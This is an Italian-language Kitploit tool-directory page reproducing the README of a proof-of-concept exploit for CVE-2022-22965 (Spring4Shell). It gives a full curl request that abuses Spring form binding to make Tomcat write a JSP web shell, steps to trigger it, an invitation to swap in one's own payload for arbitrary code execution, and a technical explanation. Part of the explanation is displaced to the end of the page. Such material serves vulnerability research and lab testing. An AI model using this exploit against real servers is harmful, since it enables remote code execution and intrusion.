Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22965-PoC | Kitploit
Strumenti/GitHubGitHub/kirill89/cve-2022-22965-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Vedi Repository
32214 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-22965 PoC

Esempio minimale di come riprodurre la CVE-2022-22965 Spring RCE.

Eseguire con docker compose

  1. Compilare l'applicazione usando Docker compose
    root@kitploit:~
    docker-compose up --build
    
  2. Per testare l'app, andare su http://localhost:8080/handling-form-submission-complete/greeting
  3. Eseguire l'exploit
    root@kitploit:~
    ./exploits/run.sh
    
  4. L'exploit creerà il file rce.jsp in webapps/handling-form-submission-complete sul server web.
  5. Usare l'exploit Andare su http://localhost:8080/handling-form-submission-complete/rce.jsp

Metodo alternativo (orientato al debug)

  1. Avviare il server Tomcat in docker

    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    Aggiungere -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" se si vuole eseguire il debug da remoto.

  2. Compilare il progetto

    root@kitploit:~
    ./mvnw install
    
  3. Distribuire l'app

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. Scrivere l'exploit

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    L'exploit creerà il file rce.jsp in webapps/handling-form-submission-complete sul server web.

  5. Usare l'exploit

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    Ora vedrete 123 nel terminale del container. Sostituite System.out.println(123) con il vostro payload per eseguire codice arbitrario.

Breve spiegazione tecnica

  1. Spring sa come associare i campi di un form a oggetti Java. Nel nostro esempio GreetingController gestisce le richieste POST sull'endpoint /greeting e associa i campi del form all'oggetto Greeting.
  2. Supporta anche l'associazione di campi annidati (es. user.info.firstname). Vedere AbstractNestablePropertyAccessor per i riferimenti.
  3. Nel nostro esempio la classe Greeting ha due campi id e content, ma in realtà ha anche un riferimento all'oggetto Class. Possiamo usare class.module.classLoader come chiave dei dati del form per accedere al classloader.
  4. Nella correzione possiamo vedere che la modifica principale è stata limitare l'accesso alla maggior parte delle proprietà dell'oggetto Class, inclusa quella module.
  5. Questo comportamento ci permette di impostare le proprietà pubbliche delle classi accessibili tramite la catena di riferimenti annidati a partire dalla classe Greeting. Nient'altro. Nella maggior parte dei casi non è nemmeno pericoloso perché non sono disponibili classi con campi pubblici nemmeno da .

Condizioni

L'exploit funziona solo su Tomcat perché ha un classloader speciale. Sebbene una catena di riferimenti simile possa esistere anche su altri server di applicazioni web. Non è ancora stata scoperta semplicemente.

L'exploit richiede Java 9 o superiore perché la proprietà module è stata aggiunta in Java 9.

Riferimenti

  • La parte server si basa sulla guida passo-passo https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
  • La parte exploit si basa sullo script https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
  • L'advisory Snyk sulla vulnerabilità è disponibile qui: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
Scarica lo strumento
class.module.classLoader.
  • Diventa un problema sul server Tomcat perché il classloader ha l'accessor getResources che ci permette di continuare la catena di riferimenti e accedere a una delle istanze della classe AccessLogValve.
  • Questa classe è pensata per scrivere log. Modifichiamo alcune proprietà per fargli scrivere file con il nome e il contenuto che scegliamo. A questo punto abbiamo scrittura arbitraria di file.
  • Creiamo un file jsp nella radice della cartella dell'applicazione con il payload malevolo. Poiché i jsp vengono eseguiti automaticamente da Tomcat, possiamo navigare fino ad esso nel browser ed eventualmente eseguire il payload. Ora è RCE.